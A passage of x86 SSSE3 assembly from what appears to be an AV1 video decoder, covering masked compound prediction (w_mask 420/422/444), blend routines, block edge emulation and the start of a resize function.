mova [dstq+strideq*1+16*(2*%1+0)], m0
call .main
psubw m3, m7, m2
psubw m1, m7, [maskq+16*%1]
psubw m3, [dstq+strideq*1+16*(2*%1+1)]
psrlw m1, 2
psrlw m3, 2
packuswb m1, m3
mova [maskq+16*%1], m1
mova [dstq+strideq*1+16*(2*%1+1)], m0
%rotate 1
%endrep
%endmacro
%if UNIX64
DECLARE_REG_TMP 7
%else
DECLARE_REG_TMP 5
%endif
cglobal w_mask_420_8bpc, 4, 7, 9, dst, stride, tmp1, tmp2, w, h, mask
%define base t0-w_mask_420_ssse3_table
LEA t0, w_mask_420_ssse3_table
tzcnt wd, wm
mov r6d, r7m ; sign
sub tmp2q, tmp1q
movsxd wq, [t0+wq*4]
mova m6, [base+pw_2048]
movddup m7, [base+wm_420_sign+r6*8] ; 258 - sign
add wq, t0
%if ARCH_X86_64
mova m8, [base+pw_6903] ; ((64 - 38) << 8) + 255 - 8
movifnidn hd, hm
%else
%define m8 [base+pw_6903]
%define hd dword hm
%endif
mov maskq, maskmp
call .main
jmp wq
.w4_loop:
call .main
add maskq, 4
lea dstq, [dstq+strideq*2]
.w4:
pshufd m3, m2, q2020
pshufd m2, m2, q3131
psubw m1, m7, m3
psubw m1, m2
psrlw m1, 2
packuswb m1, m1
movd [maskq], m1
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
punpckhqdq m0, m0
lea dstq, [dstq+strideq*2]
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
sub hd, 4
jg .w4_loop
RET
.w8_loop:
call .main
add maskq, 4
lea dstq, [dstq+strideq*2]
.w8:
movhlps m3, m2
psubw m1, m7, m2
psubw m1, m3
psrlw m1, 2
packuswb m1, m1
movd [maskq], m1
movq [dstq+strideq*0], m0
movhps [dstq+strideq*1], m0
sub hd, 2
jg .w8_loop
RET
.w16_loop:
call .main
add maskq, 8
lea dstq, [dstq+strideq*2]
.w16:
mova [dstq+strideq*1], m2
mova [dstq+strideq*0], m0
call .main
psubw m1, m7, [dstq+strideq*1]
psubw m1, m2
psrlw m1, 2
packuswb m1, m1
movq [maskq], m1
mova [dstq+strideq*1], m0
sub hd, 2
jg .w16_loop
RET
.w32_loop:
call .main
add maskq, 16
lea dstq, [dstq+strideq*2]
.w32:
mova [maskq], m2
mova [dstq+strideq*0+16*0], m0
call .main
mova [dstq+strideq*1+16*1], m2
mova [dstq+strideq*0+16*1], m0
W_MASK_420_END 0
sub hd, 2
jg .w32_loop
RET
.w64_loop:
call .main
add maskq, 16*2
lea dstq, [dstq+strideq*2]
.w64:
mova [maskq+16*0], m2
mova [dstq+strideq*0+16*0], m0
call .main
mova [dstq+strideq*1+16*1], m2
mova [dstq+strideq*0+16*1], m0
call .main
mova [maskq+16*1], m2
mova [dstq+strideq*0+16*2], m0
call .main
mova [dstq+strideq*1+16*3], m2
mova [dstq+strideq*0+16*3], m0
W_MASK_420_END 0, 1
sub hd, 2
jg .w64_loop
RET
.w128_loop:
call .main
add maskq, 16*4
lea dstq, [dstq+strideq*2]
.w128:
mova [maskq+16*0], m2
mova [dstq+strideq*0+16*0], m0
call .main
mova [dstq+strideq*1+16*1], m2
mova [dstq+strideq*0+16*1], m0
call .main
mova [maskq+16*1], m2
mova [dstq+strideq*0+16*2], m0
call .main
mova [dstq+strideq*1+16*3], m2
mova [dstq+strideq*0+16*3], m0
call .main
mova [maskq+16*2], m2
mova [dstq+strideq*0+16*4], m0
call .main
mova [dstq+strideq*1+16*5], m2
mova [dstq+strideq*0+16*5], m0
call .main
mova [maskq+16*3], m2
mova [dstq+strideq*0+16*6], m0
call .main
mova [dstq+strideq*1+16*7], m2
mova [dstq+strideq*0+16*7], m0
W_MASK_420_END 0, 1, 2, 3
sub hd, 2
jg .w128_loop
RET
ALIGN function_align
.main:
mova m0, [tmp1q +16*0]
mova m3, [tmp1q+tmp2q+16*0]
mova m1, [tmp1q +16*1]
mova m4, [tmp1q+tmp2q+16*1]
add tmp1q, 16*2
psubw m3, m0
psubw m4, m1
pabsw m5, m3
psubusw m2, m8, m5
psrlw m2, 8 ; 64 - m
psllw m5, m2, 10
pmulhw m3, m5
pabsw m5, m4
paddw m0, m3
psubusw m3, m8, m5
psrlw m3, 8
phaddw m2, m3
psllw m3, 10
pmulhw m4, m3
paddw m1, m4
pmulhrsw m0, m6
pmulhrsw m1, m6
packuswb m0, m1
ret
%macro W_MASK_422_BACKUP 1 ; mask_offset
%if ARCH_X86_64
mova m10, m2
%else
mova [maskq+16*%1], m2
%endif
%endmacro
%macro W_MASK_422_END 1 ; mask_offset
%if ARCH_X86_64
packuswb m10, m2
psubb m1, m7, m10
pavgb m1, m9
%else
mova m3, [maskq+16*%1]
packuswb m3, m2
pxor m2, m2
psubb m1, m7, m3
pavgb m1, m2
%endif
mova [maskq+16*%1], m1
%endmacro
cglobal w_mask_422_8bpc, 4, 7, 11, dst, stride, tmp1, tmp2, w, h, mask
%define base t0-w_mask_422_ssse3_table
LEA t0, w_mask_422_ssse3_table
tzcnt wd, wm
mov r6d, r7m ; sign
sub tmp2q, tmp1q
movsxd wq, [t0+wq*4]
mova m6, [base+pw_2048]
movddup m7, [base+wm_422_sign+r6*8] ; 128 - sign
add wq, t0
%if ARCH_X86_64
mova m8, [base+pw_6903]
pxor m9, m9
movifnidn hd, hm
%else
add t0, w_mask_420_ssse3_table-w_mask_422_ssse3_table
%define hd dword hm
%endif
mov maskq, maskmp
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
jmp wq
.w4_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 8
lea dstq, [dstq+strideq*2]
.w4:
packuswb m2, m2
psubb m1, m7, m2
%if ARCH_X86_64
pavgb m1, m9
%else
pxor m2, m2
pavgb m1, m2
%endif
movq [maskq], m1
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
punpckhqdq m0, m0
lea dstq, [dstq+strideq*2]
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
sub hd, 4
jg .w4_loop
RET
.w8_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 16
lea dstq, [dstq+strideq*2]
.w8:
W_MASK_422_BACKUP 0
movq [dstq+strideq*0], m0
movhps [dstq+strideq*1], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
lea dstq, [dstq+strideq*2]
W_MASK_422_END 0
movq [dstq+strideq*0], m0
movhps [dstq+strideq*1], m0
sub hd, 4
jg .w8_loop
RET
.w16_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 16
lea dstq, [dstq+strideq*2]
.w16:
W_MASK_422_BACKUP 0
mova [dstq+strideq*0], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 0
mova [dstq+strideq*1], m0
sub hd, 2
jg .w16_loop
RET
.w32_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 16
add dstq, strideq
.w32:
W_MASK_422_BACKUP 0
mova [dstq+16*0], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 0
mova [dstq+16*1], m0
dec hd
jg .w32_loop
RET
.w64_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 16*2
add dstq, strideq
.w64:
W_MASK_422_BACKUP 0
mova [dstq+16*0], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 0
mova [dstq+16*1], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_BACKUP 1
mova [dstq+16*2], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 1
mova [dstq+16*3], m0
dec hd
jg .w64_loop
RET
.w128_loop:
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
add maskq, 16*4
add dstq, strideq
.w128:
W_MASK_422_BACKUP 0
mova [dstq+16*0], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 0
mova [dstq+16*1], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_BACKUP 1
mova [dstq+16*2], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 1
mova [dstq+16*3], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_BACKUP 2
mova [dstq+16*4], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 2
mova [dstq+16*5], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_BACKUP 3
mova [dstq+16*6], m0
call mangle(private_prefix %+ _w_mask_420_8bpc_ssse3).main
W_MASK_422_END 3
mova [dstq+16*7], m0
dec hd
jg .w128_loop
RET
cglobal w_mask_444_8bpc, 4, 7, 9, dst, stride, tmp1, tmp2, w, h, mask
%define base t0-w_mask_444_ssse3_table
LEA t0, w_mask_444_ssse3_table
tzcnt wd, wm
mov maskq, maskmp
sub tmp2q, tmp1q
movsxd wq, [t0+wq*4]
mova m6, [base+pw_6903]
mova m7, [base+pw_2048]
add wq, t0
%if ARCH_X86_64
mova m8, [base+pb_64]
movifnidn hd, hm
%else
%define m8 [base+pb_64]
%define hd dword hm
%endif
call .main
jmp wq
.w4_loop:
call .main
lea dstq, [dstq+strideq*2]
.w4:
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
punpckhqdq m0, m0
lea dstq, [dstq+strideq*2]
movd [dstq+strideq*0], m0
pshuflw m1, m0, q1032
movd [dstq+strideq*1], m1
sub hd, 4
jg .w4_loop
RET
.w8_loop:
call .main
lea dstq, [dstq+strideq*2]
.w8:
movq [dstq+strideq*0], m0
movhps [dstq+strideq*1], m0
sub hd, 2
jg .w8_loop
RET
.w16_loop:
call .main
lea dstq, [dstq+strideq*2]
.w16:
mova [dstq+strideq*0], m0
call .main
mova [dstq+strideq*1], m0
sub hd, 2
jg .w16_loop
RET
.w32_loop:
call .main
add dstq, strideq
.w32:
mova [dstq+16*0], m0
call .main
mova [dstq+16*1], m0
dec hd
jg .w32_loop
RET
.w64_loop:
call .main
add dstq, strideq
.w64:
mova [dstq+16*0], m0
call .main
mova [dstq+16*1], m0
call .main
mova [dstq+16*2], m0
call .main
mova [dstq+16*3], m0
dec hd
jg .w64_loop
RET
.w128_loop:
call .main
add dstq, strideq
.w128:
mova [dstq+16*0], m0
call .main
mova [dstq+16*1], m0
call .main
mova [dstq+16*2], m0
call .main
mova [dstq+16*3], m0
call .main
mova [dstq+16*4], m0
call .main
mova [dstq+16*5], m0
call .main
mova [dstq+16*6], m0
call .main
mova [dstq+16*7], m0
dec hd
jg .w128_loop
RET
ALIGN function_align
.main:
mova m0, [tmp1q +16*0]
mova m3, [tmp1q+tmp2q+16*0]
mova m1, [tmp1q +16*1]
mova m4, [tmp1q+tmp2q+16*1]
add tmp1q, 16*2
psubw m3, m0
psubw m4, m1
pabsw m5, m3
psubusw m2, m6, m5
psrlw m2, 8 ; 64 - m
psllw m5, m2, 10
pmulhw m3, m5
pabsw m5, m4
paddw m0, m3
psubusw m3, m6, m5
psrlw m3, 8
packuswb m2, m3
psllw m3, 10
pmulhw m4, m3
psubb m3, m8, m2
paddw m1, m4
pmulhrsw m0, m7
pmulhrsw m1, m7
mova [maskq], m3
add maskq, 16
packuswb m0, m1
ret
%macro BLEND_64M 4; a, b, mask1, mask2
punpcklbw m0, %1, %2; {b;a}[7..0]
punpckhbw %1, %2 ; {b;a}[15..8]
pmaddubsw m0, %3 ; {b*m[0] + (64-m[0])*a}[7..0] u16
pmaddubsw %1, %4 ; {b*m[1] + (64-m[1])*a}[15..8] u16
pmulhrsw m0, m5 ; {((b*m[0] + (64-m[0])*a) + 1) / 32}[7..0] u16
pmulhrsw %1, m5 ; {((b*m[1] + (64-m[0])*a) + 1) / 32}[15..8] u16
packuswb m0, %1 ; {blendpx}[15..0] u8
%endmacro
%macro BLEND 2; a, b
psubb m3, m4, m0 ; m3 = (64 - m)
punpcklbw m2, m3, m0 ; {m;(64-m)}[7..0]
punpckhbw m3, m0 ; {m;(64-m)}[15..8]
BLEND_64M %1, %2, m2, m3
%endmacro
cglobal blend_8bpc, 3, 7, 7, dst, ds, tmp, w, h, mask
%define base r6-blend_ssse3_table
LEA r6, blend_ssse3_table
tzcnt wd, wm
movifnidn hd, hm
movifnidn maskq, maskmp
movsxd wq, dword [r6+wq*4]
mova m4, [base+pb_64]
mova m5, [base+pw_512]
add wq, r6
lea r6, [dsq*3]
jmp wq
.w4:
movq m0, [maskq]; m
movd m1, [dstq+dsq*0] ; a
movd m6, [dstq+dsq*1]
punpckldq m1, m6
movq m6, [tmpq] ; b
psubb m3, m4, m0 ; m3 = (64 - m)
punpcklbw m2, m3, m0 ; {m;(64-m)}[7..0]
punpcklbw m1, m6 ; {b;a}[7..0]
pmaddubsw m1, m2 ; {b*m[0] + (64-m[0])*a}[7..0] u16
pmulhrsw m1, m5 ; {((b*m[0] + (64-m[0])*a) + 1) / 32}[7..0] u16
packuswb m1, m0 ; {blendpx}[15..0] u8
movd [dstq+dsq*0], m1
psrlq m1, 32
movd [dstq+dsq*1], m1
add maskq, 8
add tmpq, 8
lea dstq, [dstq+dsq*2] ; dst_stride * 2
sub hd, 2
jg .w4
RET
.w8:
mova m0, [maskq]; m
movq m1, [dstq+dsq*0] ; a
movhps m1, [dstq+dsq*1]
mova m6, [tmpq] ; b
BLEND m1, m6
movq [dstq+dsq*0], m0
movhps [dstq+dsq*1], m0
add maskq, 16
add tmpq, 16
lea dstq, [dstq+dsq*2] ; dst_stride * 2
sub hd, 2
jg .w8
RET
.w16:
mova m0, [maskq]; m
mova m1, [dstq] ; a
mova m6, [tmpq] ; b
BLEND m1, m6
mova [dstq], m0
add maskq, 16
add tmpq, 16
add dstq, dsq ; dst_stride
dec hd
jg .w16
RET
.w32:
%assign i 0
%rep 2
mova m0, [maskq+16*i]; m
mova m1, [dstq+16*i] ; a
mova m6, [tmpq+16*i] ; b
BLEND m1, m6
mova [dstq+i*16], m0
%assign i i+1
%endrep
add maskq, 32
add tmpq, 32
add dstq, dsq ; dst_stride
dec hd
jg .w32
RET
cglobal blend_v_8bpc, 3, 6, 6, dst, ds, tmp, w, h, mask
%define base r5-blend_v_ssse3_table
LEA r5, blend_v_ssse3_table
tzcnt wd, wm
movifnidn hd, hm
movsxd wq, dword [r5+wq*4]
mova m5, [base+pw_512]
add wq, r5
add maskq, obmc_masks-blend_v_ssse3_table
jmp wq
.w2:
movd m3, [maskq+4]
punpckldq m3, m3
; 2 mask blend is provided for 4 pixels / 2 lines
.w2_loop:
movd m1, [dstq+dsq*0] ; a {..;a;a}
pinsrw m1, [dstq+dsq*1], 1
movd m2, [tmpq] ; b
punpcklbw m0, m1, m2; {b;a}[7..0]
pmaddubsw m0, m3 ; {b*m + (64-m)*a}[7..0] u16
pmulhrsw m0, m5 ; {((b*m + (64-m)*a) + 1) / 32}[7..0] u16
packuswb m0, m1 ; {blendpx}[8..0] u8
movd r3d, m0
mov [dstq+dsq*0], r3w
shr r3d, 16
mov [dstq+dsq*1], r3w
add tmpq, 2*2
lea dstq, [dstq + dsq * 2]
sub hd, 2
jg .w2_loop
RET
.w4:
movddup m3, [maskq+8]
; 4 mask blend is provided for 8 pixels / 2 lines
.w4_loop:
movd m1, [dstq+dsq*0] ; a
movd m2, [dstq+dsq*1] ;
punpckldq m1, m2
movq m2, [tmpq] ; b
punpcklbw m1, m2 ; {b;a}[7..0]
pmaddubsw m1, m3 ; {b*m + (64-m)*a}[7..0] u16
pmulhrsw m1, m5 ; {((b*m + (64-m)*a) + 1) / 32}[7..0] u16
packuswb m1, m1 ; {blendpx}[8..0] u8
movd [dstq], m1
psrlq m1, 32
movd [dstq+dsq*1], m1
add tmpq, 2*4
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w4_loop
RET
.w8:
mova m3, [maskq+16]
; 8 mask blend is provided for 16 pixels
.w8_loop:
movq m1, [dstq+dsq*0] ; a
movhps m1, [dstq+dsq*1]
mova m2, [tmpq]; b
BLEND_64M m1, m2, m3, m3
movq [dstq+dsq*0], m0
movhps [dstq+dsq*1], m0
add tmpq, 16
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w8_loop
RET
.w16:
; 16 mask blend is provided for 32 pixels
mova m3, [maskq+32] ; obmc_masks_16[0] (64-m[0])
mova m4, [maskq+48] ; obmc_masks_16[1] (64-m[1])
.w16_loop:
mova m1, [dstq] ; a
mova m2, [tmpq] ; b
BLEND_64M m1, m2, m3, m4
mova [dstq], m0
add tmpq, 16
add dstq, dsq
dec hd
jg .w16_loop
RET
.w32:
%if WIN64
mova [rsp+8], xmm6
%endif
mova m3, [maskq+64] ; obmc_masks_32[0] (64-m[0])
mova m4, [maskq+80] ; obmc_masks_32[1] (64-m[1])
mova m6, [maskq+96] ; obmc_masks_32[2] (64-m[2])
; 16 mask blend is provided for 64 pixels
.w32_loop:
mova m1, [dstq+16*0] ; a
mova m2, [tmpq+16*0] ; b
BLEND_64M m1, m2, m3, m4
movq m1, [dstq+16*1] ; a
punpcklbw m1, [tmpq+16*1] ; b
pmaddubsw m1, m6
pmulhrsw m1, m5
packuswb m1, m1
mova [dstq+16*0], m0
movq [dstq+16*1], m1
add tmpq, 32
add dstq, dsq
dec hd
jg .w32_loop
%if WIN64
mova xmm6, [rsp+8]
%endif
RET
cglobal blend_h_8bpc, 3, 7, 6, dst, ds, tmp, w, h, mask
%define base t0-blend_h_ssse3_table
%if ARCH_X86_32
; We need to keep the PIC pointer for w4, reload wd from stack instead
DECLARE_REG_TMP 6
%else
DECLARE_REG_TMP 5
mov r6d, wd
%endif
LEA t0, blend_h_ssse3_table
tzcnt wd, wm
mov hd, hm
movsxd wq, dword [t0+wq*4]
mova m5, [base+pw_512]
add wq, t0
lea maskq, [base+obmc_masks+hq*2]
lea hd, [hq*3]
shr hd, 2 ; h * 3/4
lea maskq, [maskq+hq*2]
neg hq
jmp wq
.w2:
movd m0, [dstq+dsq*0]
pinsrw m0, [dstq+dsq*1], 1
movd m2, [maskq+hq*2]
movd m1, [tmpq]
punpcklwd m2, m2
punpcklbw m0, m1
pmaddubsw m0, m2
pmulhrsw m0, m5
packuswb m0, m0
movd r3d, m0
mov [dstq+dsq*0], r3w
shr r3d, 16
mov [dstq+dsq*1], r3w
lea dstq, [dstq+dsq*2]
add tmpq, 2*2
add hq, 2
jl .w2
RET
.w4:
%if ARCH_X86_32
mova m3, [base+blend_shuf]
%else
mova m3, [blend_shuf]
%endif
.w4_loop:
movd m0, [dstq+dsq*0]
movd m2, [dstq+dsq*1]
punpckldq m0, m2 ; a
movq m1, [tmpq] ; b
movq m2, [maskq+hq*2] ; m
pshufb m2, m3
punpcklbw m0, m1
pmaddubsw m0, m2
pmulhrsw m0, m5
packuswb m0, m0
movd [dstq+dsq*0], m0
psrlq m0, 32
movd [dstq+dsq*1], m0
lea dstq, [dstq+dsq*2]
add tmpq, 4*2
add hq, 2
jl .w4_loop
RET
.w8:
movd m4, [maskq+hq*2]
punpcklwd m4, m4
pshufd m3, m4, q0000
pshufd m4, m4, q1111
movq m1, [dstq+dsq*0] ; a
movhps m1, [dstq+dsq*1]
mova m2, [tmpq]
BLEND_64M m1, m2, m3, m4
movq [dstq+dsq*0], m0
movhps [dstq+dsq*1], m0
lea dstq, [dstq+dsq*2]
add tmpq, 8*2
add hq, 2
jl .w8
RET
; w16/w32/w64/w128
.w16:
%if ARCH_X86_32
mov r6d, wm
%endif
sub dsq, r6
.w16_loop0:
movd m3, [maskq+hq*2]
pshuflw m3, m3, q0000
punpcklqdq m3, m3
mov wd, r6d
.w16_loop:
mova m1, [dstq] ; a
mova m2, [tmpq] ; b
BLEND_64M m1, m2, m3, m3
mova [dstq], m0
add dstq, 16
add tmpq, 16
sub wd, 16
jg .w16_loop
add dstq, dsq
inc hq
jl .w16_loop0
RET
; emu_edge args:
; const intptr_t bw, const intptr_t bh, const intptr_t iw, const intptr_t ih,
; const intptr_t x, const intptr_t y, pixel *dst, const ptrdiff_t dst_stride,
; const pixel *ref, const ptrdiff_t ref_stride
;
; bw, bh total filled size
; iw, ih, copied block -> fill bottom, right
; x, y, offset in bw/bh -> fill top, left
cglobal emu_edge_8bpc, 10, 13, 2, bw, bh, iw, ih, x, \
y, dst, dstride, src, sstride, \
bottomext, rightext, blk
; we assume that the buffer (stride) is larger than width, so we can
; safely overwrite by a few bytes
pxor m1, m1
%if ARCH_X86_64
%define reg_zero r12q
%define reg_tmp r10
%define reg_src srcq
%define reg_bottomext bottomextq
%define reg_rightext rightextq
%define reg_blkm r9m
%else
%define reg_zero r6
%define reg_tmp r0
%define reg_src r1
%define reg_bottomext r0
%define reg_rightext r1
%define reg_blkm r2m
%endif
;
; ref += iclip(y, 0, ih - 1) * PXSTRIDE(ref_stride)
xor reg_zero, reg_zero
lea reg_tmp, [ihq-1]
cmp yq, ihq
cmovs reg_tmp, yq
test yq, yq
cmovs reg_tmp, reg_zero
%if ARCH_X86_64
imul reg_tmp, sstrideq
add srcq, reg_tmp
%else
imul reg_tmp, sstridem
mov reg_src, srcm
add reg_src, reg_tmp
%endif
;
; ref += iclip(x, 0, iw - 1)
lea reg_tmp, [iwq-1]
cmp xq, iwq
cmovs reg_tmp, xq
test xq, xq
cmovs reg_tmp, reg_zero
add reg_src, reg_tmp
%if ARCH_X86_32
mov srcm, reg_src
%endif
;
; bottom_ext = iclip(y + bh - ih, 0, bh - 1)
%if ARCH_X86_32
mov r1, r1m ; restore bh
%endif
lea reg_bottomext, [yq+bhq]
sub reg_bottomext, ihq
lea r3, [bhq-1]
cmovs reg_bottomext, reg_zero
;
DEFINE_ARGS bw, bh, iw, ih, x, \
topext, dst, dstride, src, sstride, \
bottomext, rightext, blk
; top_ext = iclip(-y, 0, bh - 1)
neg topextq
cmovs topextq, reg_zero
cmp reg_bottomext, bhq
cmovns reg_bottomext, r3
cmp topextq, bhq
cmovg topextq, r3
%if ARCH_X86_32
mov r4m, reg_bottomext
;
; right_ext = iclip(x + bw - iw, 0, bw - 1)
mov r0, r0m ; restore bw
%endif
lea reg_rightext, [xq+bwq]
sub reg_rightext, iwq
lea r2, [bwq-1]
cmovs reg_rightext, reg_zero
DEFINE_ARGS bw, bh, iw, ih, leftext, \
topext, dst, dstride, src, sstride, \
bottomext, rightext, blk
; left_ext = iclip(-x, 0, bw - 1)
neg leftextq
cmovs leftextq, reg_zero
cmp reg_rightext, bwq
cmovns reg_rightext, r2
%if ARCH_X86_32
mov r3m, r1
%endif
cmp leftextq, bwq
cmovns leftextq, r2
%undef reg_zero
%undef reg_tmp
%undef reg_src
%undef reg_bottomext
%undef reg_rightext
DEFINE_ARGS bw, centerh, centerw, dummy, leftext, \
topext, dst, dstride, src, sstride, \
bottomext, rightext, blk
; center_h = bh - top_ext - bottom_ext
%if ARCH_X86_64
lea r3, [bottomextq+topextq]
sub centerhq, r3
%else
mov r1, centerhm ; restore r1
sub centerhq, topextq
sub centerhq, r4m
mov r1m, centerhq
%endif
;
; blk += top_ext * PXSTRIDE(dst_stride)
mov r2, topextq
%if ARCH_X86_64
imul r2, dstrideq
%else
mov r6, r6m ; restore dstq
imul r2, dstridem
%endif
add dstq, r2
mov reg_blkm, dstq ; save pointer for ext
;
; center_w = bw - left_ext - right_ext
mov centerwq, bwq
%if ARCH_X86_64
lea r3, [rightextq+leftextq]
sub centerwq, r3
%else
sub centerwq, r3m
sub centerwq, leftextq
%endif
; vloop Macro
%macro v_loop 3 ; need_left_ext, need_right_ext, suffix
%if ARCH_X86_64
%define reg_tmp r12
%else
%define reg_tmp r0
%endif
.v_loop_%3:
%if ARCH_X86_32
mov r0, r0m
mov r1, r1m
%endif
%if %1
; left extension
%if ARCH_X86_64
movd m0, [srcq]
%else
mov r3, srcm
movd m0, [r3]
%endif
pshufb m0, m1
xor r3, r3
.left_loop_%3:
mova [dstq+r3], m0
add r3, mmsize
cmp r3, leftextq
jl .left_loop_%3
; body
lea reg_tmp, [dstq+leftextq]
%endif
xor r3, r3
.body_loop_%3:
%if ARCH_X86_64
movu m0, [srcq+r3]
%else
mov r1, srcm
movu m0, [r1+r3]
%endif
%if %1
movu [reg_tmp+r3], m0
%else
movu [dstq+r3], m0
%endif
add r3, mmsize
cmp r3, centerwq
jl .body_loop_%3
%if %2
; right extension
%if %1
add reg_tmp, centerwq
%else
lea reg_tmp, [dstq+centerwq]
%endif
%if ARCH_X86_64
movd m0, [srcq+centerwq-1]
%else
mov r3, srcm
movd m0, [r3+centerwq-1]
%endif
pshufb m0, m1
xor r3, r3
.right_loop_%3:
movu [reg_tmp+r3], m0
add r3, mmsize
%if ARCH_X86_64
cmp r3, rightextq
%else
cmp r3, r3m
%endif
jl .right_loop_%3
%endif
%if ARCH_X86_64
add dstq, dstrideq
add srcq, sstrideq
dec centerhq
jg .v_loop_%3
%else
add dstq, dstridem
mov r0, sstridem
add srcm, r0
sub dword centerhm, 1
jg .v_loop_%3
mov r0, r0m ; restore r0
%endif
%endmacro ; vloop MACRO
test leftextq, leftextq
jnz .need_left_ext
%if ARCH_X86_64
test rightextq, rightextq
jnz .need_right_ext
%else
cmp leftextq, r3m ; leftextq == 0
jne .need_right_ext
%endif
v_loop 0, 0, 0
jmp .body_done
;left right extensions
.need_left_ext:
%if ARCH_X86_64
test rightextq, rightextq
%else
mov r3, r3m
test r3, r3
%endif
jnz .need_left_right_ext
v_loop 1, 0, 1
jmp .body_done
.need_left_right_ext:
v_loop 1, 1, 2
jmp .body_done
.need_right_ext:
v_loop 0, 1, 3
.body_done:
; r0 ; bw
; r1 ;; x loop
; r4 ;; y loop
; r5 ; topextq
; r6 ;dstq
; r7 ;dstrideq
; r8 ; srcq
%if ARCH_X86_64
%define reg_dstride dstrideq
%else
%define reg_dstride r2
%endif
;
; bottom edge extension
%if ARCH_X86_64
test bottomextq, bottomextq
jz .top
%else
xor r1, r1
cmp r1, r4m
je .top
%endif
;
%if ARCH_X86_64
mov srcq, dstq
sub srcq, dstrideq
xor r1, r1
%else
mov r3, dstq
mov reg_dstride, dstridem
sub r3, reg_dstride
mov srcm, r3
%endif
;
.bottom_x_loop:
%if ARCH_X86_64
mova m0, [srcq+r1]
lea r3, [dstq+r1]
mov r4, bottomextq
%else
mov r3, srcm
mova m0, [r3+r1]
lea r3, [dstq+r1]
mov r4, r4m
%endif
;
.bottom_y_loop:
mova [r3], m0
add r3, reg_dstride
dec r4
jg .bottom_y_loop
add r1, mmsize
cmp r1, bwq
jl .bottom_x_loop
.top:
; top edge extension
test topextq, topextq
jz .end
%if ARCH_X86_64
mov srcq, reg_blkm
%else
mov r3, reg_blkm
mov reg_dstride, dstridem
%endif
mov dstq, dstm
xor r1, r1
;
.top_x_loop:
%if ARCH_X86_64
mova m0, [srcq+r1]
%else
mov r3, reg_blkm
mova m0, [r3+r1]
%endif
lea r3, [dstq+r1]
mov r4, topextq
;
.top_y_loop:
mova [r3], m0
add r3, reg_dstride
dec r4
jg .top_y_loop
add r1, mmsize
cmp r1, bwq
jl .top_x_loop
.end:
RET
%undef reg_dstride
%undef reg_blkm
%undef reg_tmp
cextern resize_filter
%macro SCRATCH 3
%if ARCH_X86_32
mova [rsp+%3*mmsize], m%1
%define m%2 [rsp+%3*mmsize]
%else
SWAP %1, %2
%endif
%endmacro
%if ARCH_X86_64
cglobal resize_8bpc, 0, 12, 14, dst, dst_stride, src, src_stride, \
dst_w, h, src_w, dx, mx0
%elif STACK_ALIGNMENT >= 16
cglobal resize_8bpc, 0, 7, 8, 3 * 16, dst, dst_stride, src, src_stride, \
dst_w, h, src_w, dx, mx0
%else
cglobal resize_8bpc, 0, 6, 8, 3 * 16, dst, dst_stride, src, src_stride, \
dst_w, h, src_w, dx, mx0
%endif
movifnidn dstq, dstmp
movifnidn srcq, srcmp
%if STACK_ALIGNMENT >= 16
movifnidn dst_wd, dst_wm
%endif
%if ARCH_X86_64
movifnidn hd, hm
%endif
sub dword mx0m, 4<<14
sub dword src_wm, 8
movd m7, dxm
movd m6, mx0m
movd m5, src_wm
pshufd m7, m7, q0000
pshufd m6, m6, q0000
pshufd m5, m5, q0000
%if ARCH_X86_64
DEFINE_ARGS dst, dst_stride, src, src_stride, dst_w, h, x, picptr
LEA r7, $$
%define base r7-$$
%else
DEFINE_ARGS dst, dst_stride, src, src_stride, dst_w, x
%define hd dword r5m
%if STACK_ALIGNMENT >= 16
LEA r6, $$
%define base r6-$$
%else
LEA r4, $$
%define base r4-$$
%endif
%endif
%if ARCH_X86_64
mova m10, [base+pw_m256]
mova m9, [base+pd_63]
mova m8, [base+pb_8x0_8x8]
%else
%define m10 [base+pw_m256]
%define m9 [base+pd_63]
%define m8 [base+pb_8x0_8x8]
%endif
pmaddwd m4, m7, [base+rescale_mul] ; dx*[0,1,2,3]
pslld m7, 2 ; dx*4
pslld m5, 14
paddd m6, m4 ; mx+[0..3]*dx
SCRATCH 7, 13, 0
SCRATCH 6, 12, 1
SCRATCH 5, 11, 2
; m10 = pmulhrsw constant for x=(x+64)>>7
; m12 = mx+[0..3]*dx, m13 = dx*4, m11 = src_w, m9 = 0x3f, m8=0,8
.loop_y:
xor xd, xd
mova m0, m12 ; per-line working version of mx
.loop_x:
pxor m1, m1
pcmpgtd m1, m0
pandn m1, m0
psrad m2, m0, 8 ; filter offset (unmasked)
pcmpgtd m3, m11, m1
pand m1, m3
pandn m3, m11
por m1, m3
psubd m3, m0, m1 ; pshufb offset
